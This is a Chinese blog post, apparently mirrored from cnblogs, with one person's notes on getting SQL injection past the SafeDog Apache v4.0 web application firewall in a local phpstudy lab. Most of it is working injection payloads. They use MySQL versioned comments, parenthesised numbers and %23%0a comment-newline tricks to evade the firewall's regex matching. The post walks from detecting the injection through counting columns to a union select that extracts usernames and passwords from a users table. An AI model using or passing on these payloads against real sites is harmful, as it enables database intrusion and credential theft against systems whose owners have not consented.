zoukankan      html  css  js  c++  java
  • 最新安全狗 apache v4.0 sql注入 bypass

    前言

    最近没事学习一下 wafbypass , 本文介绍下 bypass 安全狗的笔记。个人感觉 bypass 的总思路(正则匹配型 waf)就是利用各种语法特性来逃避正则(当然要保证语法正确性的前提下)

    测试环境:

    phpstudy  + 安全狗Apache版 V4.0、
    burp + hackvertor 插件
    

    判断注入

    判断字符型注入还是数字型

    往数字后面加若干个字母,如果结果不变应该是字符型注入,因为 mysql 的弱类型会把 1xxxx 转换成 1

    引入逻辑表达式进行判断

    利用 Mysql 支持的 /*!*/ 语法引入 && 绕过过滤

    1'/*!&&*/1#'
    

    order by 获取列数

    还是利用 /*!*/ 语法来引入关键字, 然后利用 () 包裹数字绕过空格进而绕过正则。

    1'/*!&&*/0/*!order*/by(2)#'
    

    所以有 2 列。

    绕过 union

    %23%0a 绕过正则, 原因大概是 # 是注释符号(只注释一行 截止), waf 认为后面的都是注释不去匹配,而 mysql 支持使用 代替空格,所以绕过了正则。

    <@urlencode_1>1'/*!&&*/0/*! union*//*!all*/<@/urlencode_1>%23%0a<@urlencode_2>/*! sElect*/1,@@HOSTNAME#'<@/urlencode_2>
    

    拿密码

    使用 %23%0a ,绕过正则

    <@urlencode_1>1'/*!&&*/0/*! union*//*!all*/<@/urlencode_1>%23%0a<@urlencode_2>/*! sElect*/user,password <@/urlencode_2>from%23%0a<@urlencode_3>users where user_id=1<@/urlencode_3>%23%27
    

  • 相关阅读:
    数组
    mysql优化思路
    mysql_存储过程
    mysql_函数
    mysql_结构
    mysql_触发器
    mysql_变量
    mysql_事务
    mysql总结
    mysql备份
  • 原文地址:https://www.cnblogs.com/hac425/p/10147740.html
Copyright © 2011-2022 走看看